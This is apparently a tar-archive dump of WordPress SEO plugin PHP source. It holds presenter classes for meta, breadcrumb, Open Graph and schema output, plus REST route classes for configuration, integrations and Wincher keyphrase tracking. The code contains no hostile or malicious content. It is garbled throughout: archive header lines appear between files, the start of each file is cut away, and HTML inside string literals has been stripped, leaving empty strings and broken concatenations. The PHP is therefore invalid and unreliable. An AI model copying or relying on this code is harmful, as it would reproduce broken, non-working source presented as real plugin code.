return \trim( $this->helpers->schema->html->smart_strip_tags( \apply_filters( 'wpseo_meta_author', $user_data->display_name, $this->presentation ) ) );
}
}
presenters/slack/enhanced-data-presenter.php 0000644 00000004216 15207625570 0015241 0 ustar 00 get();
$twitter_tags = '';
$i = 1;
$class = \is_admin_bar_showing() ? ' class="yoast-seo-meta-tag"' : '';
foreach ( $enhanced_data as $label => $value ) {
$twitter_tags .= \sprintf( "\t" . '' . "\n", $i, \esc_attr( $label ) );
$twitter_tags .= \sprintf( "\t" . '' . "\n", $i, \esc_attr( $value ) );
++$i;
}
return \trim( $twitter_tags );
}
/**
* Gets the enhanced data array.
*
* @return array The enhanced data array
*/
public function get() {
$data = [];
$author_id = $this->presentation->source->post_author;
$estimated_reading_time = $this->presentation->estimated_reading_time_minutes;
if ( $this->presentation->model->object_sub_type === 'post' && $author_id ) {
$data[ \__( 'Written by', 'wordpress-seo' ) ] = \get_the_author_meta( 'display_name', $author_id );
}
if ( ! empty( $estimated_reading_time ) ) {
/* translators: %s expands to the reading time number, in minutes */
$data[ \__( 'Est. reading time', 'wordpress-seo' ) ] = \sprintf( \_n( '%s minute', '%s minutes', $estimated_reading_time, 'default' ), $estimated_reading_time );
}
/**
* Filter: 'wpseo_enhanced_slack_data' - Allows filtering of the enhanced data for sharing on Slack.
*
* @param array $data The enhanced Slack sharing data.
* @param Indexable_Presentation $presentation The presentation of an indexable.
*/
return \apply_filters( 'wpseo_enhanced_slack_data', $data, $this->presentation );
}
}
presenters/meta-description-presenter.php 0000644 00000003532 15207625570 0014737 0 ustar 00 ';
}
return '';
}
/**
* Run the meta description content through replace vars, the `wpseo_metadesc` filter and sanitization.
*
* @return string The filtered meta description.
*/
public function get() {
$meta_description = $this->replace_vars( $this->presentation->meta_description );
/**
* Filter: 'wpseo_metadesc' - Allow changing the Yoast SEO meta description sentence.
*
* @param string $meta_description The description sentence.
* @param Indexable_Presentation $presentation The presentation of an indexable.
*/
$meta_description = \apply_filters( 'wpseo_metadesc', $meta_description, $this->presentation );
$meta_description = $this->helpers->string->strip_all_tags( \stripslashes( $meta_description ) );
return \trim( $meta_description );
}
}
presenters/canonical-presenter.php 0000644 00000002175 15207625571 0013422 0 ustar 00 presentation->robots, true ) ) {
return '';
}
/**
* Filter: 'wpseo_canonical' - Allow filtering of the canonical URL put out by Yoast SEO.
*
* @param string $canonical The canonical URL.
* @param Indexable_Presentation $presentation The presentation of an indexable.
*/
return \urldecode( \trim( (string) \apply_filters( 'wpseo_canonical', $this->presentation->canonical, $this->presentation ) ) );
}
}
presenters/rel-prev-presenter.php 0000644 00000003301 15207625571 0013217 0 ustar 00 presentation->robots, true ) ) {
return '';
}
/**
* Filter: 'wpseo_adjacent_rel_url' - Allow filtering of the rel prev URL put out by Yoast SEO.
*
* @param string $canonical The rel prev URL.
* @param string $rel Link relationship, prev or next.
* @param Indexable_Presentation $presentation The presentation of an indexable.
*/
return (string) \trim( \apply_filters( 'wpseo_adjacent_rel_url', $this->presentation->rel_prev, 'prev', $this->presentation ) );
}
}
presenters/breadcrumbs-presenter.php 0000644 00000017055 15207625571 0013767 0 ustar 00 get();
if ( ! \is_array( $breadcrumbs ) || empty( $breadcrumbs ) ) {
return '';
}
$links = [];
$total = \count( $breadcrumbs );
foreach ( $breadcrumbs as $index => $breadcrumb ) {
$links[ $index ] = $this->crumb_to_link( $breadcrumb, $index, $total );
}
// Removes any effectively empty links.
$links = \array_map( 'trim', $links );
$links = \array_filter( $links );
$output = \implode( $this->get_separator(), $links );
if ( empty( $output ) ) {
return '';
}
$output = '<' . $this->get_wrapper() . $this->get_id() . $this->get_class() . '>' . $output . 'get_wrapper() . '>';
$output = $this->filter( $output );
$prefix = $this->helpers->options->get( 'breadcrumbs-prefix' );
if ( $prefix !== '' ) {
$output = "\t" . $prefix . "\n" . $output;
}
return $output;
}
/**
* Gets the raw value of a presentation.
*
* @return array The raw value.
*/
public function get() {
return $this->presentation->breadcrumbs;
}
/**
* Filters the output.
*
* @param string $output The HTML output.
*
* @return string The filtered output.
*/
protected function filter( $output ) {
/**
* Filter: 'wpseo_breadcrumb_output' - Allow changing the HTML output of the Yoast SEO breadcrumbs class.
*
* @param string $output The HTML output.
* @param Indexable_Presentation $presentation The presentation of an indexable.
*/
return \apply_filters( 'wpseo_breadcrumb_output', $output, $this->presentation );
}
/**
* Create a breadcrumb element string.
*
* @param array $breadcrumb Link info array containing the keys:
* 'text' => (string) link text.
* 'url' => (string) link url.
* (optional) 'title' => (string) link title attribute text.
* @param int $index Index for the current breadcrumb.
* @param int $total The total number of breadcrumbs.
*
* @return string The breadcrumb link.
*/
protected function crumb_to_link( $breadcrumb, $index, $total ) {
$link = '';
if ( ! isset( $breadcrumb['text'] ) || ! \is_string( $breadcrumb['text'] ) || empty( $breadcrumb['text'] ) ) {
return $link;
}
$text = \trim( $breadcrumb['text'] );
if (
$index < ( $total - 1 )
&& isset( $breadcrumb['url'] )
&& \is_string( $breadcrumb['url'] )
&& ! empty( $breadcrumb['url'] )
) {
// If it's not the last element and we have a url.
$link .= '<' . $this->get_element() . '>';
$title_attr = isset( $breadcrumb['title'] ) ? ' title="' . \esc_attr( $breadcrumb['title'] ) . '"' : '';
$link .= 'should_link_target_blank() ) {
$link .= ' target="_blank"';
}
$link .= ' href="' . \esc_url( $breadcrumb['url'] ) . '"' . $title_attr . '>' . $text . '';
$link .= 'get_element() . '>';
}
elseif ( $index === ( $total - 1 ) ) {
// If it's the last element.
if ( $this->helpers->options->get( 'breadcrumbs-boldlast' ) === true ) {
$text = '' . $text . '';
}
$link .= '<' . $this->get_element() . ' class="breadcrumb_last" aria-current="page">' . $text . 'get_element() . '>';
}
else {
// It's not the last element and has no url.
$link .= '<' . $this->get_element() . '>' . $text . 'get_element() . '>';
}
/**
* Filter: 'wpseo_breadcrumb_single_link' - Allow changing of each link being put out by the Yoast SEO breadcrumbs class.
*
* @param string $link_output The output string.
* @param array $link The breadcrumb link array.
*/
return \apply_filters( 'wpseo_breadcrumb_single_link', $link, $breadcrumb );
}
/**
* Retrieves HTML ID attribute.
*
* @return string The id attribute.
*/
protected function get_id() {
if ( ! $this->id ) {
/**
* Filter: 'wpseo_breadcrumb_output_id' - Allow changing the HTML ID on the Yoast SEO breadcrumbs wrapper element.
*
* @param string $unsigned ID to add to the wrapper element.
*/
$this->id = \apply_filters( 'wpseo_breadcrumb_output_id', '' );
if ( ! \is_string( $this->id ) ) {
return '';
}
if ( $this->id !== '' ) {
$this->id = ' id="' . \esc_attr( $this->id ) . '"';
}
}
return $this->id;
}
/**
* Retrieves HTML Class attribute.
*
* @return string The class attribute.
*/
protected function get_class() {
if ( ! $this->class ) {
/**
* Filter: 'wpseo_breadcrumb_output_class' - Allow changing the HTML class on the Yoast SEO breadcrumbs wrapper element.
*
* @param string $unsigned Class to add to the wrapper element.
*/
$this->class = \apply_filters( 'wpseo_breadcrumb_output_class', '' );
if ( ! \is_string( $this->class ) ) {
return '';
}
if ( $this->class !== '' ) {
$this->class = ' class="' . \esc_attr( $this->class ) . '"';
}
}
return $this->class;
}
/**
* Retrieves the wrapper element name.
*
* @return string The wrapper element name.
*/
protected function get_wrapper() {
if ( ! $this->wrapper ) {
$this->wrapper = \apply_filters( 'wpseo_breadcrumb_output_wrapper', 'span' );
$this->wrapper = \tag_escape( $this->wrapper );
if ( ! \is_string( $this->wrapper ) || $this->wrapper === '' ) {
$this->wrapper = 'span';
}
}
return $this->wrapper;
}
/**
* Retrieves the separator.
*
* @return string The separator.
*/
protected function get_separator() {
if ( ! $this->separator ) {
$this->separator = \apply_filters( 'wpseo_breadcrumb_separator', $this->helpers->options->get( 'breadcrumbs-sep' ) );
$this->separator = ' ' . $this->separator . ' ';
}
return $this->separator;
}
/**
* Retrieves the crumb element name.
*
* @return string The element to use.
*/
protected function get_element() {
if ( ! $this->element ) {
$this->element = \esc_attr( \apply_filters( 'wpseo_breadcrumb_single_link_wrapper', 'span' ) );
}
return $this->element;
}
/**
* This is needed because when the editor is loaded in an Iframe the link needs to open in a different browser window.
* We don't want this behaviour in the front-end and the way to check this is to check if the block is rendered in a REST request with the `context` set as 'edit'. Thus being in the editor.
*
* @return bool returns if the breadcrumb should be opened in another window.
*/
private function should_link_target_blank(): bool {
// phpcs:ignore WordPress.Security.NonceVerification.Recommended -- Reason: We are not processing form information.
if ( isset( $_GET['context'] ) && \is_string( $_GET['context'] ) ) {
// phpcs:ignore WordPress.Security.NonceVerification.Recommended,WordPress.Security.ValidatedSanitizedInput.InputNotSanitized -- Reason: We are not processing form information, We are only strictly comparing.
if ( \wp_unslash( $_GET['context'] ) === 'edit' ) {
return true;
}
}
return false;
}
}
presenters/url-list-presenter.php 0000644 00000002431 15207625571 0013241 0 ustar 00 links = $links;
$this->class_name = $class_name;
$this->target_blank = $target_blank;
}
/**
* Presents the URL list.
*
* @return string The URL list.
*/
public function present() {
$output = '
';
return $output;
}
}
presenters/schema-presenter.php 0000644 00000002710 15207625571 0012726 0 ustar 00 'Please use the "wpseo_schema_*" filters to extend the Yoast SEO schema data - see the WPSEO_Schema class.',
];
/**
* Filter: 'wpseo_json_ld_output' - Allows disabling Yoast's schema output entirely.
*
* @param mixed $deprecated If false or an empty array is returned, disable our output.
* @param string $empty
*/
$return = \apply_filters( 'wpseo_json_ld_output', $deprecated_data, '' );
if ( $return === [] || $return === false ) {
return '';
}
/**
* Action: 'wpseo_json_ld' - Output Schema before the main schema from Yoast SEO is output.
*/
\do_action( 'wpseo_json_ld' );
$schema = $this->get();
if ( \is_array( $schema ) ) {
$output = WPSEO_Utils::format_json_encode( $schema );
$output = \str_replace( "\n", \PHP_EOL . "\t", $output );
return '';
}
return '';
}
/**
* Gets the raw value of a presentation.
*
* @return array The raw value.
*/
public function get() {
return $this->presentation->schema;
}
}
presenters/open-graph/url-presenter.php 0000644 00000002161 15207625571 0014330 0 ustar 00 presentation->open_graph_url, $this->presentation ) );
}
}
presenters/open-graph/title-presenter.php 0000644 00000002215 15207625571 0014647 0 ustar 00 replace_vars( $this->presentation->open_graph_title );
/**
* Filter: 'wpseo_opengraph_title' - Allow changing the Yoast SEO generated title.
*
* @param string $title The title.
* @param Indexable_Presentation $presentation The presentation of an indexable.
*/
$title = \trim( (string) \apply_filters( 'wpseo_opengraph_title', $title, $this->presentation ) );
return $this->helpers->string->strip_all_tags( $title );
}
}
presenters/open-graph/description-presenter.php 0000644 00000002472 15207625571 0016056 0 ustar 00 replace_vars( $this->presentation->open_graph_description );
/**
* Filter: 'wpseo_opengraph_desc' - Allow changing the Yoast SEO generated Open Graph description.
*
* @param string $description The description.
* @param Indexable_Presentation $presentation The presentation of an indexable.
*/
$meta_og_description = \apply_filters( 'wpseo_opengraph_desc', $meta_og_description, $this->presentation );
$meta_og_description = $this->helpers->string->strip_all_tags( \stripslashes( $meta_og_description ) );
return \trim( $meta_og_description );
}
}
presenters/open-graph/article-publisher-presenter.php 0000644 00000002270 15207625571 0017145 0 ustar 00 presentation->open_graph_article_publisher, $this->presentation ) );
}
}
presenters/open-graph/article-published-time-presenter.php 0000644 00000001250 15207625572 0020061 0 ustar 00 presentation->open_graph_article_published_time;
}
}
presenters/open-graph/article-modified-time-presenter.php 0000644 00000001244 15207625572 0017665 0 ustar 00 presentation->open_graph_article_modified_time;
}
}
presenters/open-graph/type-presenter.php 0000644 00000001762 15207625572 0014516 0 ustar 00 presentation->open_graph_type, $this->presentation );
}
}
presenters/open-graph/site-name-presenter.php 0000644 00000002066 15207625572 0015415 0 ustar 00 presentation->open_graph_site_name, $this->presentation ) );
}
}
presenters/open-graph/article-author-presenter.php 0000644 00000002251 15207625572 0016452 0 ustar 00 presentation->open_graph_article_author, $this->presentation ) );
}
}
presenters/open-graph/image-presenter.php 0000644 00000010400 15207625572 0014604 0 ustar 00
*/
protected static $image_tags = [
'width' => 'width',
'height' => 'height',
'type' => 'type',
];
/**
* Returns the image for a post.
*
* @return string The image tag.
*/
public function present() {
$images = $this->get();
if ( empty( $images ) ) {
return '';
}
$return = '';
foreach ( $images as $image_meta ) {
$image_url = $image_meta['url'];
if ( \is_attachment() ) {
global $wp;
$image_url = \home_url( $wp->request );
}
$class = \is_admin_bar_showing() ? ' class="yoast-seo-meta-tag"' : '';
$return .= '';
foreach ( static::$image_tags as $key => $value ) {
if ( empty( $image_meta[ $key ] ) ) {
continue;
}
$return .= \PHP_EOL . "\t" . '';
}
}
return $return;
}
/**
* Gets the raw value of a presentation.
*
* @return array The raw value.
*/
public function get() {
$images = [];
foreach ( $this->presentation->open_graph_images as $open_graph_image ) {
$images[] = \array_intersect_key(
// First filter the object.
$this->filter( $open_graph_image ),
// Then strip all keys that aren't in the image tags or the url.
\array_flip( \array_merge( static::$image_tags, [ 'url' ] ) ),
);
}
return \array_filter( $images );
}
/**
* Run the image content through the `wpseo_opengraph_image` filter.
*
* @param array $image The image.
*
* @return array The filtered image.
*/
protected function filter( $image ) {
/**
* Filter: 'wpseo_opengraph_image' - Allow changing the Open Graph image url.
*
* @param string $image_url The URL of the Open Graph image.
* @param Indexable_Presentation $presentation The presentation of an indexable.
*/
$image_url = \apply_filters( 'wpseo_opengraph_image', $image['url'], $this->presentation );
if ( ! empty( $image_url ) && \is_string( $image_url ) ) {
$image['url'] = \trim( $image_url );
}
$image_type = ( $image['type'] ?? '' );
/**
* Filter: 'wpseo_opengraph_image_type' - Allow changing the Open Graph image type.
*
* @param string $image_type The type of the Open Graph image.
* @param Indexable_Presentation $presentation The presentation of an indexable.
*/
$image_type = \apply_filters( 'wpseo_opengraph_image_type', $image_type, $this->presentation );
if ( ! empty( $image_type ) && \is_string( $image_type ) ) {
$image['type'] = \trim( $image_type );
}
else {
$image['type'] = '';
}
$image_width = ( $image['width'] ?? '' );
/**
* Filter: 'wpseo_opengraph_image_width' - Allow changing the Open Graph image width.
*
* @param int $image_width The width of the Open Graph image.
* @param Indexable_Presentation $presentation The presentation of an indexable.
*/
$image_width = (int) \apply_filters( 'wpseo_opengraph_image_width', $image_width, $this->presentation );
if ( ! empty( $image_width ) && $image_width > 0 ) {
$image['width'] = $image_width;
}
else {
$image['width'] = '';
}
$image_height = ( $image['height'] ?? '' );
/**
* Filter: 'wpseo_opengraph_image_height' - Allow changing the Open Graph image height.
*
* @param int $image_height The height of the Open Graph image.
* @param Indexable_Presentation $presentation The presentation of an indexable.
*/
$image_height = (int) \apply_filters( 'wpseo_opengraph_image_height', $image_height, $this->presentation );
if ( ! empty( $image_height ) && $image_height > 0 ) {
$image['height'] = $image_height;
}
else {
$image['height'] = '';
}
return $image;
}
}
presenters/open-graph/locale-presenter.php 0000644 00000002007 15207625572 0014765 0 ustar 00 presentation->open_graph_locale, $this->presentation ) );
}
}
routes/first-time-configuration-route.php 0000644 00000020077 15207625572 0014703 0 ustar 00 first_time_configuration_action = $first_time_configuration_action;
}
/**
* Registers routes with WordPress.
*
* @return void
*/
public function register_routes() {
$site_representation_route = [
'methods' => 'POST',
'callback' => [ $this, 'set_site_representation' ],
'permission_callback' => [ $this, 'can_manage_options' ],
'args' => [
'company_or_person' => [
'type' => 'string',
'enum' => [
'company',
'person',
],
'required' => true,
],
'company_name' => [
'type' => 'string',
],
'company_logo' => [
'type' => 'string',
],
'company_logo_id' => [
'type' => 'integer',
],
'person_logo' => [
'type' => 'string',
],
'person_logo_id' => [
'type' => 'integer',
],
'company_or_person_user_id' => [
'type' => 'integer',
],
'description' => [
'type' => 'string',
],
],
];
\register_rest_route( Main::API_V1_NAMESPACE, self::CONFIGURATION_ROUTE . self::SITE_REPRESENTATION_ROUTE, $site_representation_route );
$social_profiles_route = [
'methods' => 'POST',
'callback' => [ $this, 'set_social_profiles' ],
'permission_callback' => [ $this, 'can_manage_options' ],
'args' => [
'facebook_site' => [
'type' => 'string',
],
'twitter_site' => [
'type' => 'string',
],
'other_social_urls' => [
'type' => 'array',
],
],
];
\register_rest_route( Main::API_V1_NAMESPACE, self::CONFIGURATION_ROUTE . self::SOCIAL_PROFILES_ROUTE, $social_profiles_route );
$check_capability_route = [
'methods' => 'GET',
'callback' => [ $this, 'check_capability' ],
'permission_callback' => [ $this, 'can_manage_options' ],
'args' => [
'user_id' => [
'required' => true,
],
],
];
\register_rest_route( Main::API_V1_NAMESPACE, self::CONFIGURATION_ROUTE . self::CHECK_CAPABILITY_ROUTE, $check_capability_route );
$enable_tracking_route = [
'methods' => 'POST',
'callback' => [ $this, 'set_enable_tracking' ],
'permission_callback' => [ $this, 'can_manage_options' ],
'args' => [
'tracking' => [
'type' => 'boolean',
'required' => true,
],
],
];
\register_rest_route( Main::API_V1_NAMESPACE, self::CONFIGURATION_ROUTE . self::ENABLE_TRACKING_ROUTE, $enable_tracking_route );
$save_configuration_state_route = [
'methods' => 'POST',
'callback' => [ $this, 'save_configuration_state' ],
'permission_callback' => [ $this, 'can_manage_options' ],
'args' => [
'finishedSteps' => [
'type' => 'array',
'required' => true,
],
],
];
\register_rest_route( Main::API_V1_NAMESPACE, self::CONFIGURATION_ROUTE . self::SAVE_CONFIGURATION_STATE_ROUTE, $save_configuration_state_route );
$get_configuration_state_route = [
[
'methods' => 'GET',
'callback' => [ $this, 'get_configuration_state' ],
'permission_callback' => [ $this, 'can_manage_options' ],
],
];
\register_rest_route( Main::API_V1_NAMESPACE, self::CONFIGURATION_ROUTE . self::GET_CONFIGURATION_STATE_ROUTE, $get_configuration_state_route );
}
/**
* Sets the site representation values.
*
* @param WP_REST_Request $request The request.
*
* @return WP_REST_Response
*/
public function set_site_representation( WP_REST_Request $request ) {
$data = $this
->first_time_configuration_action
->set_site_representation( $request->get_json_params() );
return new WP_REST_Response( $data, $data->status );
}
/**
* Sets the social profiles values.
*
* @param WP_REST_Request $request The request.
*
* @return WP_REST_Response
*/
public function set_social_profiles( WP_REST_Request $request ) {
$data = $this
->first_time_configuration_action
->set_social_profiles( $request->get_json_params() );
return new WP_REST_Response(
[ 'json' => $data ],
);
}
/**
* Checks if the current user has the correct capability to edit a specific user.
*
* @param WP_REST_Request $request The request.
*
* @return WP_REST_Response
*/
public function check_capability( WP_REST_Request $request ) {
$data = $this
->first_time_configuration_action
->check_capability( $request->get_param( 'user_id' ) );
return new WP_REST_Response( $data );
}
/**
* Enables or disables tracking.
*
* @param WP_REST_Request $request The request.
*
* @return WP_REST_Response
*/
public function set_enable_tracking( WP_REST_Request $request ) {
$data = $this
->first_time_configuration_action
->set_enable_tracking( $request->get_json_params() );
return new WP_REST_Response( $data, $data->status );
}
/**
* Checks if the current user has the right capability.
*
* @return bool
*/
public function can_manage_options() {
return \current_user_can( 'wpseo_manage_options' );
}
/**
* Checks if the current user has the capability to edit a specific user.
*
* @param WP_REST_Request $request The request.
*
* @return bool
*/
public function can_edit_user( WP_REST_Request $request ) {
$response = $this->first_time_configuration_action->check_capability( $request->get_param( 'user_id' ) );
return $response->success;
}
/**
* Checks if the current user has the capability to edit posts of other users.
*
* @return bool
*/
public function can_edit_other_posts() {
return \current_user_can( 'edit_others_posts' );
}
/**
* Saves the first time configuration state.
*
* @param WP_REST_Request $request The request.
*
* @return WP_REST_Response
*/
public function save_configuration_state( WP_REST_Request $request ) {
$data = $this
->first_time_configuration_action
->save_configuration_state( $request->get_json_params() );
return new WP_REST_Response( $data, $data->status );
}
/**
* Returns the first time configuration state.
*
* @return WP_REST_Response the state of the configuration.
*/
public function get_configuration_state() {
$data = $this
->first_time_configuration_action
->get_configuration_state();
return new WP_REST_Response( $data, $data->status );
}
}
routes/yoast-head-rest-field.php 0000644 00000013456 15207625572 0012714 0 ustar 00 post_type_helper = $post_type_helper;
$this->taxonomy_helper = $taxonomy_helper;
$this->post_helper = $post_helper;
$this->head_action = $head_action;
}
/**
* Registers routes with WordPress.
*
* @return void
*/
public function register_routes() {
$public_post_types = $this->post_type_helper->get_indexable_post_types();
foreach ( $public_post_types as $post_type ) {
$this->register_rest_fields( $post_type, 'for_post' );
}
$public_taxonomies = $this->taxonomy_helper->get_indexable_taxonomies();
foreach ( $public_taxonomies as $taxonomy ) {
if ( $taxonomy === 'post_tag' ) {
$taxonomy = 'tag';
}
$this->register_rest_fields( $taxonomy, 'for_term' );
}
$this->register_rest_fields( 'user', 'for_author' );
$this->register_rest_fields( 'type', 'for_post_type_archive' );
}
/**
* Returns the head for a post.
*
* @param array $params The rest request params.
* @param string $format The desired output format.
*
* @return string|null The head.
*/
public function for_post( $params, $format = self::YOAST_HEAD_ATTRIBUTE_NAME ) {
if ( ! isset( $params['id'] ) ) {
return null;
}
if ( ! $this->post_helper->is_post_indexable( $params['id'] ) ) {
return null;
}
$obj = $this->head_action->for_post( $params['id'] );
return $this->render_object( $obj, $format );
}
/**
* Returns the head for a term.
*
* @param array $params The rest request params.
* @param string $format The desired output format.
*
* @return string|null The head.
*/
public function for_term( $params, $format = self::YOAST_HEAD_ATTRIBUTE_NAME ) {
$obj = $this->head_action->for_term( $params['id'] );
return $this->render_object( $obj, $format );
}
/**
* Returns the head for an author.
*
* @param array $params The rest request params.
* @param string $format The desired output format.
*
* @return string|null The head.
*/
public function for_author( $params, $format = self::YOAST_HEAD_ATTRIBUTE_NAME ) {
$obj = $this->head_action->for_author( $params['id'] );
return $this->render_object( $obj, $format );
}
/**
* Returns the head for a post type archive.
*
* @param array $params The rest request params.
* @param string $format The desired output format.
*
* @return string|null The head.
*/
public function for_post_type_archive( $params, $format = self::YOAST_HEAD_ATTRIBUTE_NAME ) {
if ( $params['slug'] === 'post' ) {
$obj = $this->head_action->for_posts_page();
}
elseif ( ! $this->post_type_helper->has_archive( $params['slug'] ) ) {
return null;
}
else {
$obj = $this->head_action->for_post_type_archive( $params['slug'] );
}
return $this->render_object( $obj, $format );
}
/**
* Registers the Yoast rest fields.
*
* @param string $object_type The object type.
* @param string $callback The function name of the callback.
*
* @return void
*/
protected function register_rest_fields( $object_type, $callback ) {
// Output metadata in page head meta tags.
\register_rest_field( $object_type, self::YOAST_HEAD_ATTRIBUTE_NAME, [ 'get_callback' => [ $this, $callback ] ] );
// Output metadata in a json object in a head meta tag.
\register_rest_field( $object_type, self::YOAST_JSON_HEAD_ATTRIBUTE_NAME, [ 'get_callback' => [ $this, $callback ] ] );
}
/**
* Returns the correct property for the Yoast head.
*
* @param stdObject $head The Yoast head.
* @param string $format The format to return.
*
* @return string|array|null The output value. String if HTML was requested, array otherwise.
*/
protected function render_object( $head, $format = self::YOAST_HEAD_ATTRIBUTE_NAME ) {
if ( $head->status === 404 ) {
return null;
}
switch ( $format ) {
case self::YOAST_HEAD_ATTRIBUTE_NAME:
return $head->html;
case self::YOAST_JSON_HEAD_ATTRIBUTE_NAME:
return $head->json;
}
return null;
}
}
routes/integrations-route.php 0000644 00000004302 15207625573 0012453 0 ustar 00 integrations_action = $integrations_action;
}
/**
* Registers routes with WordPress.
*
* @return void
*/
public function register_routes() {
$set_active_route = [
'methods' => 'POST',
'callback' => [ $this, 'set_integration_active' ],
'permission_callback' => [ $this, 'can_manage_options' ],
'args' => [
'active' => [
'type' => 'boolean',
'required' => true,
],
'integration' => [
'type' => 'string',
'required' => true,
],
],
];
\register_rest_route( Main::API_V1_NAMESPACE, self::INTEGRATIONS_ROUTE . self::SET_ACTIVE_ROUTE, $set_active_route );
}
/**
* Checks if the current user has the right capability.
*
* @return bool
*/
public function can_manage_options() {
return \current_user_can( 'wpseo_manage_options' );
}
/**
* Sets integration state.
*
* @param WP_REST_Request $request The request.
*
* @return WP_REST_Response
*/
public function set_integration_active( WP_REST_Request $request ) {
$params = $request->get_json_params();
$integration_name = $params['integration'];
$value = $params['active'];
$data = $this
->integrations_action
->set_integration_active( $integration_name, $value );
return new WP_REST_Response(
[ 'json' => $data ],
);
}
}
routes/abstract-indexation-route.php 0000644 00000001604 15207625573 0013712 0 ustar 00 index();
$next_url = false;
if ( \count( $indexables ) >= $indexation_action->get_limit() ) {
$next_url = \rest_url( $url );
}
return $this->respond_with( $indexables, $next_url );
}
}
routes/wincher-route.php 0000644 00000021400 15207625573 0011402 0 ustar 00 login_action = $login_action;
$this->account_action = $account_action;
$this->keyphrases_action = $keyphrases_action;
}
/**
* Registers routes with WordPress.
*
* @return void
*/
public function register_routes() {
$authorize_route_args = [
'methods' => 'GET',
'callback' => [ $this, 'get_authorization_url' ],
'permission_callback' => [ $this, 'can_use_wincher' ],
];
\register_rest_route( Main::API_V1_NAMESPACE, self::AUTHORIZATION_URL_ROUTE, $authorize_route_args );
$authentication_route_args = [
'methods' => 'POST',
'callback' => [ $this, 'authenticate' ],
'permission_callback' => [ $this, 'can_use_wincher' ],
'args' => [
'code' => [
'validate_callback' => [ $this, 'has_valid_code' ],
'required' => true,
],
'websiteId' => [
'validate_callback' => [ $this, 'has_valid_website_id' ],
'required' => true,
],
],
];
\register_rest_route( Main::API_V1_NAMESPACE, self::AUTHENTICATION_ROUTE, $authentication_route_args );
$track_keyphrases_route_args = [
'methods' => 'POST',
'callback' => [ $this, 'track_keyphrases' ],
'permission_callback' => [ $this, 'can_use_wincher' ],
'args' => [
'keyphrases' => [
'required' => true,
],
],
];
\register_rest_route( Main::API_V1_NAMESPACE, self::KEYPHRASES_TRACK_ROUTE, $track_keyphrases_route_args );
$get_keyphrases_route_args = [
'methods' => 'POST',
'callback' => [ $this, 'get_tracked_keyphrases' ],
'permission_callback' => [ $this, 'can_use_wincher' ],
'args' => [
'keyphrases' => [
'required' => false,
],
'permalink' => [
'required' => false,
],
'startAt' => [
'required' => false,
],
],
];
\register_rest_route( Main::API_V1_NAMESPACE, self::TRACKED_KEYPHRASES_ROUTE, $get_keyphrases_route_args );
$delete_keyphrase_route_args = [
'methods' => 'DELETE',
'callback' => [ $this, 'untrack_keyphrase' ],
'permission_callback' => [ $this, 'can_use_wincher' ],
];
\register_rest_route( Main::API_V1_NAMESPACE, self::UNTRACK_KEYPHRASE_ROUTE, $delete_keyphrase_route_args );
$check_limit_route_args = [
'methods' => 'GET',
'callback' => [ $this, 'check_limit' ],
'permission_callback' => [ $this, 'can_use_wincher' ],
];
\register_rest_route( Main::API_V1_NAMESPACE, self::CHECK_LIMIT_ROUTE, $check_limit_route_args );
$get_upgrade_campaign_route_args = [
'methods' => 'GET',
'callback' => [ $this, 'get_upgrade_campaign' ],
'permission_callback' => [ $this, 'can_use_wincher' ],
];
\register_rest_route( Main::API_V1_NAMESPACE, self::UPGRADE_CAMPAIGN_ROUTE, $get_upgrade_campaign_route_args );
}
/**
* Returns the authorization URL.
*
* @return WP_REST_Response The response.
*/
public function get_authorization_url() {
$data = $this->login_action->get_authorization_url();
return new WP_REST_Response( $data, $data->status );
}
/**
* Authenticates with Wincher.
*
* @param WP_REST_Request $request The request. This request should have a code param set.
*
* @return WP_REST_Response The response.
*/
public function authenticate( WP_REST_Request $request ) {
$data = $this
->login_action
->authenticate( $request['code'], (string) $request['websiteId'] );
return new WP_REST_Response( $data, $data->status );
}
/**
* Posts keyphrases to track.
*
* @param WP_REST_Request $request The request. This request should have a code param set.
*
* @return WP_REST_Response The response.
*/
public function track_keyphrases( WP_REST_Request $request ) {
$limits = $this->account_action->check_limit();
if ( $limits->status !== 200 ) {
return new WP_REST_Response( $limits, $limits->status );
}
$data = $this->keyphrases_action->track_keyphrases( $request['keyphrases'], $limits );
return new WP_REST_Response( $data, $data->status );
}
/**
* Gets the tracked keyphrases via POST.
* This is done via POST, so we don't potentially run into URL limit issues when a lot of long keyphrases are tracked.
*
* @param WP_REST_Request $request The request. This request should have a code param set.
*
* @return WP_REST_Response The response.
*/
public function get_tracked_keyphrases( WP_REST_Request $request ) {
$data = $this->keyphrases_action->get_tracked_keyphrases( $request['keyphrases'], $request['permalink'], $request['startAt'] );
return new WP_REST_Response( $data, $data->status );
}
/**
* Untracks the tracked keyphrase.
*
* @param WP_REST_Request $request The request. This request should have a code param set.
*
* @return WP_REST_Response The response.
*/
public function untrack_keyphrase( WP_REST_Request $request ) {
$data = $this->keyphrases_action->untrack_keyphrase( $request['keyphraseID'] );
return new WP_REST_Response( $data, $data->status );
}
/**
* Checks the account limit.
*
* @return WP_REST_Response The response.
*/
public function check_limit() {
$data = $this->account_action->check_limit();
return new WP_REST_Response( $data, $data->status );
}
/**
* Gets the upgrade campaign.
* If it's not a free user, no campaign is returned.
*
* @return WP_REST_Response The response.
*/
public function get_upgrade_campaign() {
$data = $this->account_action->get_upgrade_campaign();
return new WP_REST_Response( $data, $data->status );
}
/**
* Checks if a valid code was returned.
*
* @param string $code The code to check.
*
* @return bool Whether the code is valid.
*/
public function has_valid_code( $code ) {
return $code !== '';
}
/**
* Checks if a valid website_id was returned.
*
* @param int $website_id The website_id to check.
*
* @return bool Whether the website_id is valid.
*/
public function has_valid_website_id( $website_id ) {
return ! empty( $website_id ) && \is_int( $website_id );
}
/**
* Whether the current user is allowed to publish post/pages and thus use the Wincher integration.
*
* @return bool Whether the current user is allowed to use Wincher.
*/
public function can_use_wincher() {
return \current_user_can( 'publish_posts' ) || \current_user_can( 'publish_pages' );
}
}
routes/route-interface.php 0000644 00000000413 15207625573 0011704 0 ustar 00 alert_dismissal_action = $alert_dismissal_action;
}
/**
* Registers routes with WordPress.
*
* @return void
*/
public function register_routes() {
$dismiss_route_args = [
'methods' => 'POST',
'callback' => [ $this, 'dismiss' ],
'permission_callback' => [ $this, 'can_dismiss' ],
'args' => [
'key' => [
'validate_callback' => [ $this->alert_dismissal_action, 'is_allowed' ],
'required' => true,
],
],
];
\register_rest_route( Main::API_V1_NAMESPACE, self::DISMISS_ROUTE, $dismiss_route_args );
}
/**
* Dismisses an alert.
*
* @param WP_REST_Request $request The request. This request should have a key param set.
*
* @return WP_REST_Response The response.
*/
public function dismiss( WP_REST_Request $request ) {
$success = $this->alert_dismissal_action->dismiss( $request['key'] );
